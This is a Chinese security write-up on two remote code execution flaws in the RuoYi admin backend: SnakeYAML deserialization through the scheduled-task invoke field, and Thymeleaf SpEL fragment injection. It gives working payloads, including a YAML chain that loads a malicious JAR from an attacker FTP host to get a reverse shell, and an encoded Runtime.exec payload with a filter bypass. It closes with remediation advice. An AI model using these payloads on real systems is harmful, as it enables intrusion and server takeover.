若依管理后台的一些代码执行漏洞
字数 1608 2025-08-25 22:59:10
若依管理后台代码执行漏洞分析与利用
漏洞概述
若依管理后台存在两处代码执行漏洞:
- 定时任务功能中的反射+YAML反序列化漏洞
- Thymeleaf模板注入漏洞
这两处漏洞均可导致远程代码执行,危害严重。
漏洞一:定时任务反射+YAML反序列化
漏洞位置
系统监控 → 定时任务 → 新建任务 → 调用目标字符串字段
相关代码位于:ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java
漏洞分析
当用户输入类似com.hhddj1.hhddj2.hhddj3()的调用目标字符串时,系统会:
- 解析出beanName(
com.hhddj1.hhddj2) - 解析出methodName(
hhddj3) - 解析出methodParams(
[])
关键执行逻辑:
public static void invokeMethod(SysJob sysJob) throws Exception {
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName)) {
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
} else {
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
利用限制
- 类必须有无参public构造函数
- 方法参数类型只能是String/int/long/double
- 方法需具有代码执行潜力
绕过尝试
-
反射Runtime失败:
- Runtime类的构造函数是private的,无法通过
Class.forName().newInstance()实例化
- Runtime类的构造函数是private的,无法通过
-
反射ProcessBuilder失败:
- ProcessBuilder没有无参构造函数
-
成功利用YAML反序列化:
- 若依使用了
org.yaml.snakeyaml包 - 构造YAML payload触发远程代码执行
- 若依使用了
利用步骤
-
准备恶意JAR:
- 从GitHub下载yaml-payload
- 修改
src/artsploit/AwesomescriptEngineFactory.java中的IP和端口 - 编译并打包:
javac src/artsploit/AwesomescriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
-
搭建FTP服务:
- 将生成的
yaml-payload.jar放在FTP目录下
- 将生成的
-
构造Payload:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["ftp://攻击机ip/yaml-payload.jar"]]]]') -
触发漏洞:
- 在定时任务的"调用目标字符串"字段中输入上述payload
- 攻击机监听指定端口,等待反弹shell
漏洞二:Thymeleaf模板注入
漏洞位置
以下接口存在Thymeleaf片段注入:
/monitor/cache/getNames/monitor/cache/getKeys/monitor/cache/getValue/demo/form/localrefresh/task
以/monitor/cache/getNames为例:
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap) {
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
漏洞分析
Thymeleaf解析/xxx:: + fragment时,如果fragment包含SpringEL表达式,会被执行。
绕过技巧
Thymeleaf会检查T(SomeClass)或new SomeClass,但可以通过在T和类名之间添加空格绕过:
- 有效payload:
${T (java.lang.Runtime).getRuntime().exec("命令")}
利用步骤
-
构造URL编码的payload:
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%6d%64%22%29%7d解码后:
${T (java.lang.Runtime).getRuntime().exec("cmd")} -
通过以下方式触发:
?fragment=header(payload)?fragment=payload
-
命令执行成功后,攻击者可以获取系统权限
防护建议
-
定时任务漏洞修复:
- 限制可调用的类和方法范围
- 禁用危险的YAML反序列化功能
- 添加白名单机制
-
Thymeleaf注入修复:
- 避免直接将用户输入拼接到模板片段中
- 对fragment参数进行严格校验
- 禁用或限制SpringEL表达式解析
-
通用防护:
- 升级到最新安全版本
- 实施最小权限原则
- 部署WAF防护规则
总结
这两个漏洞展示了若依管理后台中存在的严重安全问题,攻击者可以通过精心构造的payload实现远程代码执行。开发人员应重视此类安全问题,及时修复并加强安全防护措施。